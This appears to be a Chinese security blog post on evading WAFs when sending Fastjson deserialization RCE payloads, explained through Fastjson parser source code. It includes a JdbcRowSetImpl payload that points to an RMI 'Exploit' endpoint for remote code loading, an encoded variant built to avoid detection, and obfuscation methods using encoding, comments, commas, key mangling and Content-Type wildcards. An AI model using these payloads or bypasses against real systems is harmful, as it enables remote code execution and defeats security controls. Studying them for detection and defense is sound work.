查看原文
其他

原创 | 浅谈Fastjson Waf Bypass思路

tkswifty SecIN技术平台 2022-06-18
点击上方蓝字 关注我吧
前言

Fastjson是一个阿里巴巴开发的java高性能JSON库,应用范围非常广。虽然其性能强、适配性高,但是也出现过相关RCE缺陷。

相关的安全设备针对相关的poc设计了相关的匹配规则,例如@type、becl关键字等,从而达到一定的防护效果。
Waf Bypass思路

除了一些常用的思路,例如http0.9协议等,主要思路是对相关的poc关键字进行混淆,达到绕过waf语义分析的效果。

  

Unicode/Hex编码绕过

查看fastjson源码,JSONLexerBase.scanSymbol这个函数是fastjson用来处理json字符串的函数,部分关键部分代码如下

case'u': char c1=this.next(); char c2=this.next(); char c3=this.next(); char c4=this.next(); int val=Integer.parseInt(new String(new char[]{c1,c2,c3,c4}),16); hash=31*hash+val; this.putChar((char)val); break;case'x': char x1=this.ch=this.next(); char x2=this.ch=this.next(); int x_val=digits[x1]*16+digits[x2]; char x_char=(char)x_val; hash=31*hash+x_char; this.putChar(x_char);


当输入的字符是形如\u或者\x的情况下fastjson是会对其进行解码操作的,fastjson支持字符串的Unicode编码和十六进制编码。例如对下列payload进行改造:


{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}


可以对初始进行混合编码进行绕过(这里是多重编码的场景):

{"\u0040\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://localhost:1099/Exploit","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}


结合Feature词法分析器进行混淆绕过

FastJson在序列化和反序列化的过程中提供了很多特性,例如Feature.DisableFieldSmartMatch。如果没有选择该Feature,那么在反序列的过程中,FastJson会自动把下划线命名的Json字符串转化到驼峰式命名的Java对象字段中。(1.2.30引入)


以1.2.24版本为例,查看常用的解析方法,在对json文本进行解析时,一般会使用JSON.parse(text),默认配置如下:


public static Object parse(String text) { return parse(text, DEFAULT_PARSER_FEATURE);}


DEFAULT_PARSER_FEATURE是一个缺省默认的feature配置:

public static int DEFAULT_PARSER_FEATURE;static { int features = 0; features |= Feature.AutoCloseSource.getMask(); features |= Feature.InternFieldNames.getMask(); features |= Feature.UseBigDecimal.getMask(); features |= Feature.AllowUnQuotedFieldNames.getMask(); features |= Feature.AllowSingleQuotes.getMask(); features |= Feature.AllowArbitraryCommas.getMask(); features |= Feature.SortFeidFastMatch.getMask(); features |= Feature.IgnoreNotMatch.getMask(); DEFAULT_PARSER_FEATURE = features;}

可以通过Fature类的isEnabled方法来判断相关的Feature是否开启:

package com.alibaba.fastjson.parser;
public enum Feature{ AutoCloseSource, AllowComment, AllowUnQuotedFieldNames, AllowSingleQuotes, InternFieldNames, AllowISO8601DateFormat, AllowArbitraryCommas, UseBigDecimal, IgnoreNotMatch, SortFeidFastMatch, DisableASM, DisableCircularReferenceDetect, InitStringFieldAsEmpty, SupportArrayToBean, OrderedField, DisableSpecialKeyDetect, UseObjectArray, SupportNonPublicField;
public final int mask;
private Feature(){ this.mask = (1 << ordinal()); }
public final int getMask(){ return this.mask; }
public static boolean isEnabled(int features, Feature feature){ return (features & feature.mask) != 0; } ......}

下面根据常见的Feature看看有什么可以进行混淆的方式。



AllowSingleQuotes



AllowSingleQuotes特性决定parser是否允许单引号来包住属性名称和字符串值。

那么可以使用单引号替代双引号,配合编码或者其他方式进行混淆绕过waf语义分析:




AllowArbitraryCommas



AllowArbitraryCommas特性允许多重逗号。那么可以在多个属性之间引入多个逗号,,进行混淆:




AllowComment



AllowComment该特性决定parser将是否允许解析使用Java/C++样式的注释(包括’/’+’*’ 和’//’ 变量)。

可以通过插入相关的注释进行混淆,也可以构造超长数据包的方式进行Bypass:


利用FastJson智能匹配进行混淆绕过

FastJSON存在智能匹配的特性,即使JavaBean中的字段和JSON中的key并不完全匹配,在一定程度上还是可以正常解析的。

主要是在
JavaBeanDeserializer.smartMatch方法进行实现。假设当前UserBean的属性如下,可以利用智能匹配的特性,可以尝试使用如下方法对key进行混淆:

private String name;private Integer age;



使用-_进行混淆



FastJSON会对JSON中没有成功映射JavaBean的key做智能匹配,在反序列的过程中会忽略大小写和下划线,自动会把下划线命名的Json字符串转化到驼峰式命名的Java对象字段中。

查看1.2.24版本,部分关键部分代码如下,主要是在
JavaBeanDeserializer.smartMatch方法:

if (fieldDeserializer == null) { snakeOrkebab = false; key2 = null; char ch; for (i = 0; i < key.length(); i++) { ch = key.charAt(i); if (ch == '_') { snakeOrkebab = true; key2 = key.replaceAll("_", ""); break; } if (ch == '-') { snakeOrkebab = true; key2 = key.replaceAll("-", ""); break; }}

也就是说可以分别使用-_来对payload进行混淆:

(1) 使用
-混淆字段名:


(2) 使用_混淆字段名:


(3) 使用-_组合:

在1.2.36版本及后续版本,对智能匹配方法进行了修改,部分具体代码如下,具体处理方法在
TypeUtils.fnv1a_64_lower

public FieldDeserializer smartMatch(String key, int[] setFlags) { if (key == null) { return null; } FieldDeserializer fieldDeserializer = getFieldDeserializer(key, setFlags); if (fieldDeserializer == null) { long smartKeyHash = TypeUtils.fnv1a_64_lower(key); if (this.smartMatchHashArray == null) { long[] hashArray = new long[this.sortedFieldDeserializers.length]; for (int i = 0; i < this.sortedFieldDeserializers.length; i++) { hashArray[i] = TypeUtils.fnv1a_64_lower(this.sortedFieldDeserializers[i].fieldInfo.name); } Arrays.sort(hashArray); this.smartMatchHashArray = hashArray;      }

查看TypeUtils.fnv1a_64_lower的具体实现,这里忽略字母大小写和-_

public static long fnv1a_64_lower(String key) { long hashCode = -3750763034362895579L; for (int i = 0; i < key.length(); i++) { char ch = key.charAt(i); if ((ch != '_') && (ch != '-')) { if ((ch >= 'A') && (ch <= 'Z')) { ch = (char)(ch + ' '); } hashCode ^= ch; hashCode *= 1099511628211L; } } return hashCode; }

也就是说1.2.36版本及后续版本还可以支持同时使用_-进行组合混淆:


除此之外还可以以此作为依据进行简单的fastjson版本判断。



使用is开头的key字段



除此之外,Fastjson在做智能匹配时,如果key以is开头,则忽略is开头,相关代码如下:

int pos = Arrays.binarySearch(this.smartMatchHashArray, smartKeyHash);if ((pos < 0) && (key.startsWith("is"))){ smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2)); pos = Arrays.binarySearch(this.smartMatchHashArray, smartKeyHash);}

例如如下例子,在原始JavaBean属性age和name基础上,在JSONkey加入is仍可正常解析:


修改Content-Type

Content-Type(MediaType),即是Internet Media Type,互联网媒体类型,也叫做MIME类型。在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。
它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等。常见的有:

  • application/x-www-form-urlencoded:最常见POST提交数据的方式。
  • multipart/form-data:文件上传的数据提交方式。
  • application/xml:XML数据提交方式。
  • application/json:作为请求头告诉服务端消息主体是序列化的JSON字符串。
  
某些Waf考虑到解析效率的问题,会根据Content-Type的内容进行针对性的拦截分析,例如值为appliction/xml时会进行XXE的检查,那么可以尝试将Content-Type设置为通配符“*/*来绕过相关的检查:



同理对
application/jsonContent-Type的请求,也可以尝试将Content-Type设置为通配符“*/*来绕过相关的检查:


结语

综上所述,可以对相关的poc进行混淆,达到绕过相关waf安全检查的效果,例如下图:



除此之外还有很多别的特性,例如fastjson并不会强制key与JavaBean属性对齐,那么可以结合waf资源限制的角度再次进行混淆,达到绕过的效果:



你要的分享、在看与点赞都在这儿~

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存